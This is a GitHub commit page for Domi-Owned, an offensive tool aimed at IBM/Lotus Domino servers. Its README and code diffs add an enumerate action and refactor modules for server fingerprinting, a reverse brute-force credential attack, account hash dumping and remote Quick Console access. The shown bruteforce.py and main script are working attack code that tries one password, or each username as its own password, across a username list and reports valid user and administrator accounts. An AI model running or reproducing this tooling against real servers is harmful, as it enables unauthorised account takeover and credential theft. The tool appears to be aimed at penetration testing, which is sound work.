Skip to content

Commit

Permalink
Major code refraction, added enumerate action, authentication fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
coldfusion39 committed Apr 3, 2017
1 parent 4e80e05 commit 159a358
Show file tree
Hide file tree
Showing 14 changed files with 1,266 additions and 602 deletions.
2 changes: 1 addition & 1 deletion LICENSE
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
The MIT License (MIT)

Copyright (c) 2016 Brandan Geise [coldfusion]
Copyright (c) 2017 Brandan Geise [coldfusion]

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
Expand Down
12 changes: 11 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ Run `pip3 install -r requirements.txt` to install the required python modules.
* [beautifulsoup4](https://www.crummy.com/software/BeautifulSoup/)
* [inflect](https://github.com/pwdyson/inflect.py)
* [requests](https://github.com/kennethreitz/requests)
* [tabulate](https://bitbucket.org/astanin/python-tabulate)
* [tqdm](https://github.com/noamraph/tqdm)

## Usage ##
Expand All @@ -29,13 +30,22 @@ If a username and password are given, using the `--username` and `--password` ar
[![asciicast](https://asciinema.org/a/7fksp7tnishweis2rayu7tk92.png)](https://asciinema.org/a/7fksp7tnishweis2rayu7tk92)


### Enumerate ###
To enumerate what common or default Domino directories are accessible, run Domi-Owned with the `enumerate` action argument, and the server URL. Optionally, supply Domi-Owned with a username and password, using the `--username` and `--password` arguments, to see what directories that specific user has access to. To use a custom directory wordlist supply Domi-Owned with a file containing a list of web directories using the `--wordlist` argument.

#### Example: ####
`./domi-owned.py enumerate http://domino-server.com`

[![asciicast](https://asciinema.org/a/3iv2jwjcx3gmnawbr238bbl3i.png)](https://asciinema.org/a/3iv2jwjcx3gmnawbr238bbl3i)


### Reverse Brute Force ###
To perform a reverse brute force attack against a Domino server, run Domi-Owned with the `bruteforce` action argument, the server URL, and a list of usernames. Optionally, a password can be specified with the `--password` argument. If a password is not provided, Domi-Owned will use the username, from the username list, as the account password (i.e. 'admin:admin' or 'jsmith:jsmith'). Domi-Owned will then try to authenticate to 'names.nsf', returning successful accounts.

#### Example: ####
`./domi-owned.py bruteforce http://domino-server.com usernames.txt --password PASSWORD`

[![asciicast](https://asciinema.org/a/abq9xjoij0mknmy5ws00aokxv.png)](https://asciinema.org/a/abq9xjoij0mknmy5ws00aokxv)
[![asciicast](https://asciinema.org/a/aks7z9jbw47awfq36ouj1bz0u.png)](https://asciinema.org/a/aks7z9jbw47awfq36ouj1bz0u)


### Dump Hashes ###
Expand Down
173 changes: 51 additions & 122 deletions domi-owned.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#!/usr/bin/env python3
# Copyright (c) 2016, Brandan Geise [coldfusion]
# Copyright (c) 2017, Brandan Geise [coldfusion]
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
Expand All @@ -19,47 +19,30 @@
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import argparse
import inflect
import os
import sys

from domi_owned.main import DomiOwned
from domi_owned.helpers import Helpers
from domi_owned.fingerprint import Fingerprint
from domi_owned.bruteforce import BruteForce
from domi_owned.enumerate import Enumerate
from domi_owned.fingerprint import Fingerprint
from domi_owned.hashdump import HashDump
from domi_owned.quickconsole import QuickConsole

sys.dont_write_bytecode = True
from domi_owned.utilities import Banner


def main():
parser = argparse.ArgumentParser(
usage='./domi-owned.py [fingerprint, bruteforce, hashdump, quickconsole] [-h]',
formatter_class=argparse.RawDescriptionHelpFormatter,
description=("""
__________ __________ __________
| |\| | |\\
| * * ||| * * * | * ||
| * * ||| | * ||
| * * ||| * * * | * ||
|__________|||__________|__________||
| || `---------------------`
| * * ||
| ||
| * * ||
|__________||
`----------`
IBM/Lotus Domino OWNage
"""))
parser = argparse.ArgumentParser(usage='./domi-owned.py [fingerprint, enumerate, bruteforce, hashdump, quickconsole] [-h]', formatter_class=argparse.RawDescriptionHelpFormatter, description=(Banner.SHOW))
subparsers = parser.add_subparsers(dest='action', help='Action to perform on IBM/Lotus Domino server')

fingerprint_parser = subparsers.add_parser('fingerprint', help='Fingerprint the Domino server', usage='./domi-owned.py fingerprint URL --username USERNAME --password PASSWORD')
fingerprint_parser.add_argument('url', help='Domino server URL')
fingerprint_parser.add_argument('--username', help='Username', default=None)
fingerprint_parser.add_argument('--password', help='Password', default=None)

enum_parser = subparsers.add_parser('enumerate', help='Enumerate Domino files and directories', usage='./domi-owned.py enumerate URL --username USERNAME --password PASSWORD --wordlist WORDLIST')
enum_parser.add_argument('url', help='Domino server URL')
enum_parser.add_argument('--wordlist', help='Wordlist containing Domino files and directories', default=None)
enum_parser.add_argument('--username', help='Username', default=None)
enum_parser.add_argument('--password', help='Password', default=None)

brute_parser = subparsers.add_parser('bruteforce', help='Reverse brute force the Domino server', usage='./domi-owned.py bruteforce URL USERLIST --password PASSWORD')
brute_parser.add_argument('url', help='Domino server URL')
brute_parser.add_argument('userlist', help='List of usernames')
Expand All @@ -77,102 +60,48 @@ def main():

args = parser.parse_args()

util = Helpers()
domino_url = util.check_url(args.url)

if domino_url:
domino = DomiOwned(domino_url)

# Get authentication type
auth_type = domino.get_auth()
if auth_type:

# Fingerprint
if args.action == 'fingerprint':
util.print_status('Fingerprinting Domino server')
fingerprint = Fingerprint(domino)

domino_version = fingerprint.get_version()
if domino_version:
util.print_good("Domino version: {0}".format(domino_version))
else:
util.print_warn('Unable to identify Domino server version')

util.print_good("Authentication type: {0}".format(auth_type.capitalize()))

endpoints = domino.get_access(args.username, args.password)
for endpoint in endpoints:
if endpoints[endpoint] is None:
util.print_warn("Could not find {0}/{1}".format(domino_url, endpoint))
elif endpoints[endpoint]:
if args.username:
util.print_good("{0} has access to {1}/{2}".format(args.username, domino_url, endpoint))
else:
util.print_good("{0}/{1} does not require authentication".format(domino_url, endpoint))
else:
if args.username:
util.print_warn("{0} does not have access to {1}/{2}".format(args.username, domino_url, endpoint))
else:
util.print_warn("{0}/{1} requires authentication".format(domino_url, endpoint))

# Brute force
elif args.action == 'bruteforce':
if auth_type == 'open':
util.print_good("{0}/names.nsf does not require authentication".format(domino_url))
else:
if os.path.isfile(args.userlist):
if args.password is None:
util.print_status('Starting reverse brute force with username as password')
else:
util.print_status("Starting reverse brute force with '{0}' as the password".format(args.password))

accounts = BruteForce(domino, args.userlist, args.password).bruteforce()
if accounts:
util.print_good("Found {0} {1}".format(len(accounts), inflect.engine().plural('account', len(accounts))))
for account in accounts:
print("{0}:{1}".format(account['username'], account['password']))
elif accounts is False:
util.print_error("Unable to access {0}/names.nsf".format(domino_url))
else:
util.print_warn('No accounts found')
else:
util.print_error('Unable to find list of usernames')

# Hash dump
elif args.action == 'hashdump':
endpoints = domino.get_access(args.username, args.password)
if endpoints['names.nsf']:
util.print_status('Enumerating Domino accounts')
hashdump = HashDump(domino, args.username, args.password)
accounts = hashdump.enum_accounts()
if accounts:
util.print_good("Dumping {0} account {1}".format(len(accounts), inflect.engine().plural('hash', len(accounts))))
hashdump.hashdump()
else:
util.print_warn('No account hashes found')
else:
util.print_error("Unable to access {0}/names.nsf, bad username or password".format(domino_url))

# Quick Console
else:
endpoints = domino.get_access(args.username, args.password)
if endpoints['webadmin.nsf']:
util.print_status('Accessing Domino Quick Console')
console_info = domino.get_info(args.username, args.password)
if None not in console_info.values():
util.print_good("Running as {0}".format(console_info['user']))
QuickConsole(domino, console_info, args.username, args.password).cmdloop()
else:
util.print_error('Domino Quick Console is not active')
else:
util.print_error("Unable to access {0}/webadmin.nsf, bad username or password".format(domino_url))

elif auth_type is False:
util.print_error('Unable to find an instance of names.nsf')
# Fingerprint
if args.action == 'fingerprint':
print_status('Fingerprinting Domino server')
domino = Fingerprint(args.url, username=args.username, password=args.password)
domino.fingerprint()

# Enumerate
elif args.action == 'enumerate':
print_status('Enumerating Domino URLs')
domino = Enumerate(args.url, username=args.username, password=args.password)
domino.enumerate(args.wordlist)

# Brute force
elif args.action == 'bruteforce':
if args.password:
print_status("Starting reverse brute force with '{0}' as the password".format(args.password))
else:
util.print_error('Failed to establish a connection to the Domino server')
print_status('Starting reverse brute force with username as password')

domino = BruteForce(args.url, password=args.password)
domino.bruteforce(args.userlist)

# Hash dump
elif args.action == 'hashdump':
print_status('Dumping Domino account hashes')
domino = HashDump(args.url, username=args.username, password=args.password)
domino.dump()

# Quick Console
elif args.action == 'quickconsole':
print_status('Accessing Domino Quick Console')
domino = QuickConsole(args.url, username=args.username, password=args.password)
domino.quickconsole()

# No actions given, print help
else:
util.print_error('Invalid URL provided')
parser.print_help()


def print_status(message):
print("\033[1m\033[34m[*]\033[0m {0}".format(message))


if __name__ == '__main__':
main()
121 changes: 73 additions & 48 deletions domi_owned/bruteforce.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Copyright (c) 2016, Brandan Geise [coldfusion]
# Copyright (c) 2017, Brandan Geise [coldfusion]
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
Expand All @@ -17,68 +17,93 @@
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import inflect
import os
import random
import sys
import tabulate
import time
import tqdm


class BruteForce(object):
"""Perform a reverse brute force attack with multiple usernames and one password"""
from .main import DomiOwned

def __init__(self, domiowned, usernames, password):
self.domiowned = domiowned
self.usernames = usernames
self.password = password
self.error_count = 0

self.valid_accounts = []
class BruteForce(DomiOwned):

def bruteforce(self):
# Import usernames from file
f = open(os.path.abspath(self.usernames), 'r').read()
username_list = f.rstrip().split('\n')
def bruteforce(self, userlist):
"""
Perform a reverse brute force attack with multiple usernames and one password.
"""
if self.auth_type == 'open':
self.logger.info("{0}/names.nsf does not require authentication".format(self.url))
else:
usernames = self.build_userlist(userlist)
valid_accounts = self.brute_accounts(usernames)

print('\n')
if valid_accounts:
self.logger.info("Found {0} valid {1}".format(len(valid_accounts), inflect.engine().plural('account', len(valid_accounts))))
print(tabulate.tabulate(valid_accounts, headers=['Username', 'Password', 'Account Type'], tablefmt='simple'))
else:
self.logger.warn('No valid accounts found')

def build_userlist(self, userlist):
"""
Build a list of usernames from the user supplied wordlist.
"""
if os.path.isfile(userlist):
f = open(os.path.abspath(userlist), 'r').read()
usernames = f.rstrip().split('\n')
return usernames
else:
self.logger.error('Unable to find username list')
sys.exit()

def brute_accounts(self, usernames):
"""
Determine if authentication was successful, and if the account is an administrator.
"""
valid_accounts = []

# Setup progress bar
progress_bar = tqdm.tqdm(
total=len(username_list),
desc="Progress",
smoothing=0.5,
bar_format='{desc}{percentage:3.0f}%|{bar}|{elapsed} '
)

# Start reverse brute force
for username in username_list:
self.domiowned.data = {}
self.domiowned.session.cookies.clear()
progress_bar = self.utilities.setup_progress(len(usernames))

# Check if username should be used as password
if self.password == '':
user_as_pass = True
else:
user_as_pass = False
password_canidate = self.password

for username in usernames:
self.post_data = {}
self.session.cookies.clear()

# Set username as password
if user_as_pass:
password_canidate = username

try:
# Use username as password
if self.password is None:
password = username
else:
password = self.password

has_access = self.domiowned.get_access(username, password)
if has_access['names.nsf']:
valid_account = {
'username': username,
'password': password
}
self.valid_accounts.append(valid_account)
access = self.check_access(username=username, password=password_canidate)

except KeyboardInterrupt:
break
# Check for access to webadmin.nsf
if access['webadmin.nsf']:
valid_accounts.append([username, password_canidate, 'Admin'])

except Exception as error:
self.error_count += 1
if self.error_count >= 3:
break
else:
# Administrator access > user access
continue

progress_bar.update(1)
time.sleep(random.random())
# Check for access to names.nsf
if access['names.nsf']:
valid_accounts.append([username, password_canidate, 'User'])

progress_bar.update(1)
time.sleep(random.random())

except KeyboardInterrupt:
self.logger.debug('Got Ctrl-C, exiting...')
break

progress_bar.close()

return self.valid_accounts
return valid_accounts
Loading

0 comments on commit 159a358

Please sign in to comment.